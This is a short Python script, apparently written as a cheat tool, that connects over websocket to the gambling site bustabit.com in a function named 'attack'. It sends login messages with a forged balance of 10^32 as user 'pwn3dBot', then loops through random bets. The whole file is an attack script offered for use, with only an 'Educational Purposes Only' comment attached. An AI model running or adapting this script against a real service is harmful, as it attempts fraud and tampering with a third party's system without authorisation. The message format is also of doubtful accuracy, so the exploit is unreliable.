import asyncio
import websockets
import time
import json
import random

async def attack():
    async with websockets.connect('wss://bustabit.com') as websocket:
        Bust.play_num = int(input("Input number of busts: "))
        while Bust.play_num > 0:
            try:
                await websocket.send(json.dumps({'username': 'pwn3dBot','password': 'pwn3dBot','balance': '100000000000000000000000000000000','bet': '0','color':'green','rounds': '10'}))
                response = await websocket.recv()

                # print(response)
                play = json.loads(response)
                # print(play)
                print(play["message"], "\n", "-"*50)
            except Exception as e:
                print(e)

            try:
                await websocket.send(json.dumps({'bet': str(random.randint(1,15))}))
                response = await websocket.recv()
                play = json.loads(response)
                # print(play)
                print(play["message"], "\n", "-"*50)
            except Exception as e:
                print(e)

            Bust.play_num -= 1
            time.sleep(2)

class Bust:
    play_num = 0

asyncio.get_event_loop().run_until_complete(attack())

# Educational Purposes Only!